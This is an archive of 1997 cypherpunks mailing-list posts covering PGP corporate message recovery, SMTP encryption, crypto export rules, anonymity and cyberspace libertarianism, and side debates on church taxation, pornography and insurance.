kraiwut@samart.co.th wrote:
>What can I do to make the computer fucking impenetrable at start up? --- to
>the point that they have to ask me for the password or  nothing moves. 

You could try Norton Your Eyes Only. The trial version with domestic
security is floating around as YEOtrial.zip.


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 5 Nov 1997 19:08:35 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: SMTP Encryption Extension
In-Reply-To: <3.0.3.32.19971021082737.00928b20@localhost>
Message-ID: <3.0.3.32.19971105115851.0096fe90@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Eric Murray wrote:
>There's a port defined for SMTP-over-SSL:
>ssmtp           465/tcp    ssmtp
>(from the IANA assigned port numbers document of feb '97)

No, there isn't. The port 465 has been revoked. See
<http://www.imc.org/draft-hoffman-smtp-ssl> for the current SMTP encryption
draft. It seems that port 25 will be reused with encryption.

Now, everybody please start implementing this draft and we'll soon have
secure mail. I'm already working on a DOS 8086 version for the HP 200LX.



Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Nov 1997 21:48:19 +0800
To: mark@unicorn.com
Subject: Re: PGP and Compliance with SEC and Liability Rules
In-Reply-To: <878730951.18011.193.133.230.33@unicorn.com>
Message-ID: <199711051331.NAA01409@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mark Grant <mark@unicorn.com> writes:
> Tim May quoted from macweek:
> >"The Gartner Group's Wheatman pointed out that PGP Policy Management Agent
> >allows corporatins for the first time to centralize control over
> >encryption: "For encryption to be accepted, IT had to gain control. This
> >isn't Big Brother; this is necessary to comply with liability laws and SEC
> >regulations.""
> 
> However, this doesn't seem to work, unless I'm mistaken about CMR
> enforcement and the SEC regulations. CMR will only allow the snoops 
> to read incoming email, not outgoing, and hence if Joe Blow at 
> Foo-Bah.com wants to send me some handy insider trading tips CMR will 
> not stop them. So this seems to be another justification for CMR 
> which just doesn't make sense.

I think that there is also a facility in the pgp5.5 for business
client to add yet another recipient: the sending companies snoop key.

I also got the impression that the policy enforcer could be set up to
bounce mail internally which did not have this extra recipient.

(Note, not having pgp5.5 for business to play with I am going on what
others have said.)

So now you've got mail headed out encrypted to 3 long term keys... if
the sender uses encrypt to self that will be 4 long term keys!  Then
the spooks in the sending country will want to be another recipient,
and spooks in the receiving country will also, bringing us to a total
of 6 long term keys.  Wew talk about security risks!

I thought it would be a good feature to put into the SMTP agent to
strip encrypt to self and recipients intended for internal snooping --
that would bring the recipients back down to 2 (or 4 with spooks).

Better still would be one recipient (as happens with adhoc local
escrow), and make that key a short term key which is burned after
expiry also.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 7 Nov 1997 03:40:26 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199711012037.OAA01218@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.971102181317.414B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >  Your constitution says you can own and carry
> > guns; your politicians and law enforcement increasingly say that you
> > can not.  Your response to my saying that is that _I_ don't understand
> > the constitution?
> 
> No, my responce is prove your assertions. Explain to me why you believe
> these are valid views and why they provide a more usable environment for
> understanding what is going on then others.

What do you want proven? That the second ammendment is absolute? Even if 
one does not believe that (I personally do from a simple libertarian 
point of view rather than that of a constitutionalist) then surely the 
level of infringement of 2nd ammendment rights currently seen must 
indicate to you a validity of the statement "Congress either doesn`t 
understand or ignores the constitution".

> > The point was there were way less laws, and few were telling their
> > neighbours what they could think.
> 
> Really? What was the law count say in 1865 versus 1965? 1897 v 1997?

We really don`t need a "law count", more new laws are passed than old 
ones are repealed or fall into disuse. Therefore there is an increasing 
law count, of course a lot of laws have counter-laws that contradict them 
but this does not reduce the law count, infact it effectively increases 
it by making there a larger number of things for which one can be 
convicted of breaking the law.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 7 Nov 1997 04:19:40 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: democracy?! (fwd)
In-Reply-To: <199711012333.RAA01954@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.971102182344.414C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Governments and religions *ARE* people. There are times where I think you
> have said the stupidist thing possible and then you keep typing. Individuals
> are the ones who killed the Jews, put pepper spray in the eyes of
> demonstrators, and just about everything else that gets done.

Yes, but these people were "just obeying orders", these orders in turn 
came from a government which, although it consists of individuals is much 
more than that, The whole problem with demcracy is that it merges the 
views of those that give it a mandate to govern into one huge fudge, 
anarchies give less structural potential for the "mob rule" seen in 
modern democracies. Also, by and large, governments in modern democracies 
are free to commit small evils without ever influencing their share of 
the vote, the bigger evils are the ones that get noticed by the electorate.

Governments are just "collections of individuals", in the same way that a 
you are just "a load of assorted chemicals". To say something like that 
indicates a lack of understanding of the distinction between individual 
views and mob rule, I credit you with more intelligence than to ignore 
such a distinction Jim.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Thu, 6 Nov 1997 01:40:40 +0800
To: cypherpunks@cyberpass.net
Subject: Libertaria in Cyberspace
Message-ID: <m0xSzF2-00045MC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A lot has been written about Libertaria in Cyberspace both before and
after Timothy May wrote the paper by the same name. I wonder how such a
Libertaria will form.

For a truly free communications medium we must have strong cryptography.
This is a given. Anonymity cannot be insured without strong cryptography
and the freedom of remailers or similar mechanisms to operate
unobstructed. Speech is never truly free unless it can be anonymous if
the author so chooses.  Who wants to espouse an opinion which will get
them flogged, either figuratively or literally, by their neighbors, their
government, or in some cases even their family? 

In my opinion, Mr. May is correct when he says that physical space is too
small and too exposed to outside intervention. A floating oil tanker can
be torpedoed, and a small island simply invaded. Libertaria cannot easily
build a standing army without inviting intervention by world powers and
being dubbed as terrorists or an organized gang. 

Yes, cyberspace does look much more promising. The amount of "space" in
cyberspace is unbelievably large. The amount of data I can store on one
gigabyte of hard drive is incredible by conventional standards. Data on
one computer can be made accessible through a network to any number of
other computers and it can further be distributed. And space is very cheap
in cyberspace. A three gigabyte hard drive runs around two hundred U.S.
dollars and that price is dropping all the time.

A truly free communications medium must allow its users to be anonymous. 
Speech is never truly free unless it can be anonymous if the author so
chooses. Who wants to espouse an opinion which will get them flogged,
either figuratively or literally, by their neighbors, their government, or
their own family? Who wants to die "under mysterious circumstances" or in
an automobile "accident" on an empty road? 

That an opinion is unpopular does not make that opinion wrong or invalid.
That an author does not want his "true name" attached to an opinion does
not diminish the value of that opinion. In some cases an author simply
does not want to attract attention regardless of whether such attention be
positive or negative. 

Strong cryptography is necessary for anonymity and the secure exchange of
information. A remailer system such as we have built is simply not secure
without the aid of cryptography. No network connection is secure when the
connection is visible to anyone who has the capability and curiosity to
listen in. 

A disturbing trend on the Internet today is the opinion that "good users
are known users" and that "good users have nothing to hide." This kind of
idea is offered by the government of the United States as well as many
users and system administrators. Such an opinion is detrimental to the
free flow of ideas and information.

The arguments that a "good users are known users" policy is necessary to
curb "computer crime" and network abuse are invalid in my opinion. A great
percentage of "computer crime" is simply due to lax security protocols in
the first place. When somebody can go into a university and run a sniffer
program to get hundreds of passwords the problem is not so much that the
user is running the program as it is that the data is available to the
user in the first place. When somebody can get a throw-away account and
post 30,000 ads to USENET the problem is not so much the abuser as it is
abusing the network as it is a fault in the system. When people post
mindless drivel to a network the problem isn't so much the poster as it is
that such drivel is read and ranked at the same level with more legitimate
postings. 

The first case of somebody running a packet sniffer can be avoided very
easily by using encrypted protocols and secure machines. If root
permissions can not be easily obtained on a machine and they are necessary
to install trojans one major avenue for our cracker is blocked. If all
network traffic is encrypted the cracker's job becomes all but impossible.
Sadly most people seem to send passwords and vital information in the
clear and most machines do not have encrypted communications tools
installed. The majority of TCP/IP traffic is cleartext. 

The second and third cases of network abuse and drivel propagation are
avoidable by various common sense means. First, news servers can be
altered to not propagate massively crossposted articles or articles which
are virtually identical and posted to many different groups over a short
time period. Second, readers of news can use reputation capital systems to
eliminate the remainder of off-topic postings and mindless drivel. If I
trust Bob's opinion and Bob says that a particular posting is rubbish
nobody has been censored unless Bob becomes very powerful and misuses 
that power to censor opinions he doesn't like without anybody knowing. 
However even that sort of abuse can be avoided by people being able to 
retrieve what they aren't normally seeing to occasionally check. 

And the argument that encryption must be outlawed or the government must
have access to decryption keys is rediculous. The law abiding citizens will
be monitored while the real terrorists, child pornographers, and tax evaders
will hide their data in sounds or pictures and use encryption anyway. 

Put simply, for Libertaria to truly thrive in Cyberspace many things need
to occur: 

First, encrypted network layers must become easily available. Nobody
sitting on a network backbone should be able to see what I am saying or
what anybody is saying to me. Authentication should be included here as
well. 

Second, traffic analysis must be made considerably harder if not thwarted
totally. When I go to http://www.cypherpunks.to an outside observer should
not be able to see that I was the one who filed this request by watching 
my TCP/IP traffic. A modification of CROWDS is perhaps appropriate here. 

Third, some form of true distributed and redundant data system must be
created. Eternity servers as currently implemented accomplish this to a
certain extent, but don't seem to quite reach the mark. Some form of
truly redundant, distributed, and secure filesystem which spreads across
many jurisdictions would be most appropriate, I think. There are many
technical problems involved in this however. As with anything else, such a
filesystem should be anonymous and should be very hard to shut down. 

Fourth, if indeed a programmer in the United States can use a crypto library
available outside the United States without infringing on ITAR then
programmers outside the United States should begin work on such a library.
Such a library should include many different algorithms for authentication,
encryption, and key exchange. This would allow programmers inside the United
States to legally write software which employs these technologies.

Fifth, existing news and mail readers on all major platforms need to be
altered to support anonymous remailers, encryption, decryption,
authentication, and key exchange. This should include, at minimum, Windows,
the Macintosh, and UNIX variants. 

Perhaps a whole new set of network protocols is necessary even if a bit
grandiose.

Tim May is correct: Libertaria will thrive in cyberspace. 

-----BEGIN PGP SIGNATURE-----
Version: PGP 5.0i
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iQA/AwUBNF+NoHXr/REbgWGuEQJbfgCfZ/j8KZIubDkBBFmiWmXCguZMCDgAn3/8
KrkCbQdmWDFXbv7KlXpETEOT
=q4kv
-----END PGP SIGNATURE-----

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 5.0i

mQGiBDRfi98RBADnsCoIsCkfD6bgRKEubaP5qAyUmZRX4b7JXn9CIPUNMp+KWA7p
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=TMag
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 6 Nov 1997 01:14:41 +0800
To: David HM Spector <pooh@efga.org>
Subject: Re: Smartcards - Drivers Licenses in New Jersey
In-Reply-To: <3.0.3.32.19971103001906.0356e594@rboc.net>
Message-ID: <v03102803b08651698ec0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>There are plenty of things in the world of information privacy to get
>hysterical about; but please lets not proclaim them realities before
>they actually are...
>
>Having said that... if you live in the Garden State, get on the phone
>to your state legislators and express your concerns on this troubling
>idea and how it may be used before is DOES become something to scream
>about....

Has anyone done tests to see what effect putting a smartcard in a microwave
oven has ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 6 Nov 1997 01:05:53 +0800
To: Adam Back <mark@unicorn.com
Subject: Re: PGP and Compliance with SEC and Liability Rules
In-Reply-To: <878730951.18011.193.133.230.33@unicorn.com>
Message-ID: <v03102800b08646cbca3f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:31 AM -0700 11/5/97, Adam Back wrote:
>Mark Grant <mark@unicorn.com> writes:
>> Tim May quoted from macweek:
>> >"The Gartner Group's Wheatman pointed out that PGP Policy Management Agent
>> >allows corporatins for the first time to centralize control over
>> >encryption: "For encryption to be accepted, IT had to gain control. This
>> >isn't Big Brother; this is necessary to comply with liability laws and SEC
>> >regulations.""
>>
>> However, this doesn't seem to work, unless I'm mistaken about CMR
>> enforcement and the SEC regulations. CMR will only allow the snoops
>> to read incoming email, not outgoing, and hence if Joe Blow at
>> Foo-Bah.com wants to send me some handy insider trading tips CMR will
>> not stop them. So this seems to be another justification for CMR
>> which just doesn't make sense.
>

CMR and the Policy Management Agent can (and presumably will) be set to
scrutizine _all_  mail for "policy violations," outgoing as well as
incoming mail.  The PGP page has some descriptions of their products.


>I think that there is also a facility in the pgp5.5 for business
>client to add yet another recipient: the sending companies snoop key.
>
>I also got the impression that the policy enforcer could be set up to
>bounce mail internally which did not have this extra recipient.


Indeed, the Policy Management Agent enforces certain criteria, including
CMR, across _internal_ as well as external networks. "PGP(r) Policy
Management Agent for SMTP helps to protect an organization's vital
information by enforcing corporate security policies for email
communications across internal and external networks." (fromwww.pgp.com).

In more detail:

:"PGP Policy Management Agent works with standard SMTP mail servers,
intercepting and checking email to ensure that it conforms with desired
security
policies. A typical policy established for encryption software, for
example, is that
encrypted email must also be encrypted to a corporate message recovery key
to enable data recovery. Email that adheres to the policy is automatically
routed to the
 intended recipient. Email that fails to adhere to any of the established
policies is
 rejected by the server and sent back to the client with a configurable
SMTP error
 message, depending upon the policy failure. "

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 6 Nov 1997 01:19:31 +0800
To: "Peter D. Junger" <cypherpunks@Algebra.COM
Subject: Re: Need info! / Re: Export a random number, go to jail
In-Reply-To: <199711040106.CAA04679@basement.replay.com>
Message-ID: <v03102801b08649a67633@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:29 AM -0700 11/5/97, Peter D. Junger wrote:
>Anonymous writes that I wrote:

>: >
>: > "Export a random number, go to jail."

Actually, that was _my_ line, a riff on the old Cyphepunks joke, "Use a
random number, go to jail."

>And then asked:
>
>:
>: Is it legal to export '37'?
>: How about '148'?
>: '276'?
>: '3,289,534'?
>: '6.33458'?
>
>Perhaps I was not clear enough.  The U.S. government's classifications
>that I wrote about had to do with one-time pad programs, not the pads
>themselves.

As Shannon showed, the program to execute a one-time pad is ridiculously
simple: an XOR of two files or vectors. Not only can any student in any
country write such a program, it's built in to many systems.

(In a whimsical twist to Peter's own situation, he could describe in his
class what an XOR is and how it applies to one time pads, and he then would
have "conveyed" to any foreigners in his class all they need to implement a
truly unbreakable cryptosystem.)

With one time pads, the pads _are_ the only thing that matters!

While I was not seriously suggesting that one time pads would be barred
from export, I expect that permission to export one would not be granted if
applied for, for certain countries. (Someone could do this as an exercise,
by applying for an export permit to export a pad to some verboten
destination...of course, by giving a copy of the pad to the BXA/EAR folks,
one has just compromised the pad, and so....)


>I know of nothing official that says that the pads themselves are
>exportable, but there is nothing in the regulations that suggests they
>are not.  Random number and encrypted messages are not regulated by
>the U.S. export regulations; only ``encryption software'' is
>regulated.  So far as I know the government has never claimed that
>one-time pads are, or are not, subject to the export regulations.

My hunch is that if exports of one time pads ever became a concern for them
they'd find something in the BXA/EAR language to classify the pads as being
controlled.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Thu, 6 Nov 1997 01:36:33 +0800
To: tcmay@got.net
Subject: Re: PGP and Compliance with SEC and Liability Rules
Message-ID: <878750546.15974.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



tcmay@got.net wrote:

> CMR and the Policy Management Agent can (and presumably will) be set to
> scrutizine _all_  mail for "policy violations," outgoing as well as
> incoming mail.  The PGP page has some descriptions of their products.

Hmm, I looked but couldn't find any real detail. If it can force
encryption to a company key for outgoing mail as well, it's even
worse than I thought.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 6 Nov 1997 01:46:28 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: Privacy Software
In-Reply-To: <199711031141.DAA01497@sirius.infonex.com>
Message-ID: <v03110716b0865fb9b2a0@[207.94.249.121]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:32 PM -0800 11/4/97, Adam Back wrote:
>What's wrong with the randseed.bin and the public and private key
>rings is that they should all be encrypted with a key derived from
>your passphrase.

Think about it for a minute.  randseed.bin is a place to store entropy.
Entropy is about uncertainty.  If I do a reversible transform (e.g.
encrypt) to randseed.bin, I still recover the entropy without reversing
(e.g. decrypting) the transform.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Thu, 6 Nov 1997 00:12:44 +0800
To: cypherpunks@toad.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman (fwd)
Message-ID: <199711051559.JAA29516@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> 
> > Someone on this list, I forget who, has made numerous attempts at
> > convincing us that pornography 'does no harm' to children.  It is
> > exactly at this point that I must draw a line. Studies have shown that
> > an event which lasts even so much as three-tenths of a second, within
> > five to ten minutes has produced a structural change in the brain.
> > Exposure to porn causes actual brain damage, especially in a child.
> 
> let me guess . . . scientology? it sounds to me as if you just despise
> porn so much that you're seeing red, and hence . . . not seeing the
> facts straight (or believing whatever you [want to] hear).
> 
Take a young child to the mall. He or she sits on santa's lap.

Does the brain change at this point? The simple fact that the brain has
been altered in some way only proves that the child is concious.

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Thu, 6 Nov 1997 02:39:21 +0800
To: Jodi Hoffman <cypherpunks@toad.com
Subject: Re: Why Jodi Hoffman.....makes more sense than you think.
In-Reply-To: <34608163.7EB8@ibm.net>
Message-ID: <3.0.1.32.19971105100833.00c90b10@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:23 AM 11/5/97 -0500, Jodi Hoffman wrote:
>From: Lizard <lizard@mrlizard.com>:
>>
>>So, allying yourself with people who would gladly force *your* childen to
pray to *their* God doesn't bother you in the least. Fascinating.
>===========
>Interesting that you should mention this.  I, like many other Jews, have 
>finally noticed something about Christians....
>Seems they're actually _more_ Jewish than Jews.  At least they
>(Christians) try to follow the Ten Commandments,

But they've got the Sabbath on the wrong day. :)
And they certainly worship power more than they worship God, which is a
violation of #1.

 which is a hell of a
>lot more than I can say for most every Jew I've ever known.  Most
>Jews, other than Orthodox, self-identify as atheists and don't even know
>how to conduct a Passover service! 

You follow the step-by-step instructions in the little blue Maxwell House
book with all the Hebrew words transliterarted into english syllables. Duh!

 Unless you're Orthodox, being Jewish
>is a joke.  IMHO, claiming to be a Reform or Conservative Jew is the
>same as being "kind of" pregnant.
>
So, you're saying my formerly Greek Orthodox friend who converted to
Judaism (and who I call up when I need to remember what holiday is what
'cause she knows this stuff better than me) and goes to the only synagogue
in New York with a lesbian Rabbi isn't a good Jew? Or, for that matter, my
entire family? (Concervative Jews, except for my Uncle who got 'born again'
and is now a minister in Virginia or something. But he produced ample
grandchildren, so he was forgiven.)

>(bracing for fresh onslaught of anti-Semetic spears to be chucked)

Given the dominant number of Red Sea Pedestrians on this list, I doubt most
of the comments can be classed as anti-semetic. Anti-Jodi, perhaps -- but
unlike the Jews, you've earned every barb tossed at you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 6 Nov 1997 01:11:25 +0800
To: Andy Dustman <andy@neptune.chem.uga.edu>
Subject: Re: ANNOUNCE: New Remailer - palnu@juno.com
In-Reply-To: <Pine.LNX.3.94.971105104055.234I-100000@neptune.chem.uga.edu>
Message-ID: <3460A427.5C0C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Andy Dustman wrote:
> 
> I've been pinging palnu for a day now, no response yet.

  Try looking at some dirty pictures while you do it...

IPingMyOwnPalnuTooMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 6 Nov 1997 03:55:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
In-Reply-To: <199711051838.MAA30824@ted.mncs.k12.mn.us>
Message-ID: <v03102800b0866998c9a9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




List members should know that there is a debate about taxation of
corporations. That is, a corporation gets taxed on its profits, then the
profits are again taxed when they are dispersed in some form to the owners
of the corporation (shareholders). Thus, every dollar Alpha Corporation
earns as profit (roughly, sales revenues minus costs of doing business) is
taxed at the corporate rate, which is roughly 40-45%. Federal and state.
Not counting property taxes, energy taxes, etc.

Then the profits are dispersed, in some cases, to the owners and
shareholders, in the form of dividends or the like. This "income" is then
again taxed, at rates between 35 and 45%, again depending on the state and
other circumstances.

Bear this in mind when thinking about taxing churches or other charitable
contribution-based entities.

At 11:38 AM -0700 11/5/97, Brandon Crosby wrote:

>While I do not want a debate over tax exemptions in churches, 'Free Speech'
>may very well involve supporting canidates for positions in a democracy.
>This is the very basis for elections. However, one begins to question this
>reasoning when a church leader attempts to get into the government, using
>the church's tax exemptions, for either support of the church, support of
>self, or some illegal (or, at least, unethical) mix.
>
>Should churches be tax exempt? Without their long history of helping people,
>I doubt they would have any benifits. However, even if their privillige was
>removed, they would simply be able to donate less money to community causes.

(There's an important difference between "taxing churches," i.e., applying
the income tax to churches, and eliminating the "tax deduction" for
charitably contributions. I assume the discussion has mostly been about
taxing churches, based on the comments about "taxing them into penury." Tax
deductibility has not been an important factor for many to consider, I
believe, due to the complications of claiming the deduction, the limits on
deductions, etc.)

Most churches operate mostly on charitable contributions.  So, imagine that
the Mormon Church, for example, loses its tax-exempt status and must pay
income taxes.

Imagine a worker for Novell, in Utah. Novell pays 40% of profits in taxes
and, for this example, disperses the rest. The dividends or proceeds of
sales of stock are taxed at about 30%. A Mormon employee gives money to the
Mormon Church.. The Mormon Church pays 30-40% on this "income" (perhaps
less "expenses"--churches are going to have to act like corporations!).

(By the way, one of the big problems with taxing churches on income is this
very issue: what counts as a "profit" for the church?)

Do the math: the initial dollar earned by Novell has been taxed 3 times (to
multiple tax collectors, federal, state, and maybe local). And 75% of it
has been taken in the process.

This is the danger of taxation in general, and taxation of donations in
particular.

As to what the church does with the money, who cares? Another way of
looking at a church is as a pooling of donations to accomplish some end,
e.g., saving souls, getting the U.S. out of Viet Nam, removing bad engrams,
etc. Why should people who have already been taxed twice (first the
corporations, then their dividends) be forced to pay a third set of taxes
just because they are donating?

Oh, and the same logic applies to a political action committee.

It doesn't make sense. Which is why we can expect to see it in the tax code
next year.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Thu, 6 Nov 1997 02:52:57 +0800
To: cypherpunks@toad.com
Subject: Taxing Churches for their views? Bad idea. (fwd)
Message-ID: <199711051838.MAA30824@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> 
> >More telling, she doesn't seem to have a problem using a religious (and
> >therefore tax-exempt) organization to push a political agenda. Apparently
> >that whole 'separation of church and state' thing only applies when it's
> >convenient.
> >
> >If religions want to play politics, the least we can do is get them to pay
> >for the privilege. I'd feel a certain guilty pleasure seeing some of those
> >bottom-feeders taxed into penury.
> 
> Nonsense. And a dangerous course.
Yes.

> One can decide to "tax churches" or to "not tax churches." I have no
> particularly strong opinion on either option.
> 
> But one must definitely _not_ base the decision to tax or not to tax on the
> opinions expressed by a church!
Agian, yes.

> One cannot decide to tax the Catholic Church "into penury" because its
> anti-abortion views have become politically incorrect in the last 30 years.
> Nor can one decide to tax the tempes and synagogues of Judaism "into
> penury" because they are centers of support for the Zionist Entity.

'Political Agenda' and free speech are two seperate things. Nowadays, free
speech is constantly being challanged by racism, bias and such. People sue
each other because they say something that makes someone feel bad. Churches
lie at the center of free speech, being awarded for their views by tax
exemption. Should 3M have tax exemptions because it gives people jobs?

While I do not want a debate over tax exemptions in churches, 'Free Speech'
may very well involve supporting canidates for positions in a democracy.
This is the very basis for elections. However, one begins to question this
reasoning when a church leader attempts to get into the government, using
the church's tax exemptions, for either support of the church, support of
self, or some illegal (or, at least, unethical) mix.

Should churches be tax exempt? Without their long history of helping people,
I doubt they would have any benifits. However, even if their privillige was
removed, they would simply be able to donate less money to community causes.

Uncle Sam (and his son, IRS) really shouldn't be applied to this subject:
What is free speech? Is tax exemption justifiable to all types of [free]
speech?

-Brandon Crosby




[Can you see the ghosts making snowmen?]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Thu, 6 Nov 1997 06:56:59 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199711052249.QAA06301@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks ## Date: 11/03/97 ##
  Subject: Re: Protocols for Insurance to Maintain Privacy ]

>Date: Mon, 3 Nov 1997 10:26:03 -0700
>To: "John Kelsey" <kelsey@plnet.net>,
>    "cypherpunks" <cypherpunks@Algebra.COM>
>From: Tim May <tcmay@got.net>
>Subject: Re: Protocols for Insurance to Maintain Privacy

>Such insurance is now common. A boat owner doesn't buy
>insurance for iceberg collisions if he is never in arctic
>waters, a small plane pilot doesn't buy cargo insurance if
>he doesn't ferry cargo, and so on.

Yes, I understand this.  Nobody with a grain of sense
insures himself for things he knows will never happen.

>>the point of having insurance, which is to protect yourself
>>from low probability high cost things happening.  That is,

>I have a different view of what insurance is than John does.

>What insurance is, and how it is priced, is too long a topic
>to get into here. Suffice it to say that the insurance
>company makes its profits by charging more for coverage than
>it pays out. And the customer, of course, tends to lose the
>differential.

An insurance broker and a bookie are in the same business.
A bookie takes a bet from me, at 1000 to 1 odds, for some
unlikely to occur event--which he thinks has a probability
of less than 1/1000.  An insurance broker does the same
thing.  The only important difference is my purpose in
placing the bet.  When I take out medical insurance, I am
placing a bet that I will get sick enough to spend more than
my deductable on doctors.  The insurance broker estimates
(based on whatever information is available) the probability
that this will happen, and makes me a bet at odds that are
in his favor, if his estimate is true.  If I get sick, I get
some money (or my doctors do).  If I stay well, I lose the
bet.  This is just paying someone to take some risk off my
hands.

>Each side tries to get as much information as possible. If
>Joe Client knows he never pilots a cargo plane, he doesn't
>opt for cargo insurance. If Joe Client knows he never
>engages in unprotected sex with diseasy prostitutes, etc.,
>he skips HIV insurance. The fact that some "low probability
>events," like meteor strikes, are uncovered is part of the
>price of keeping Joe's premiums tolerable.

>>before I've taken the test for genetic disease X, my best
>>estimate of the probability that I will test positive is
>>very low.  Once I have taken it, I know the result.  If I
>>sign up for a-la-carte insurance for this disease, the
>>insurance company effectively knows I must have tested
>>positive for a predisposition to it, and so either won't
>>give me insurance, or will give me insurance only at an
>>extremely high rate (corresponding to a 1/10 chance of
>>getting the disease, rather than a 1/1,000,000 chance).

>This is the idea. It causes those with the predilections to
>the disease to pay the high coverage costs.

Right.  I don't think I expressed my point too clearly,
because you seem to have responded to something different
than what I was saying.  Suppose there is some genetic
disease that kills its victims on their 31st birthday,
unless they get a $1,000,000 treatment first.  Before I have
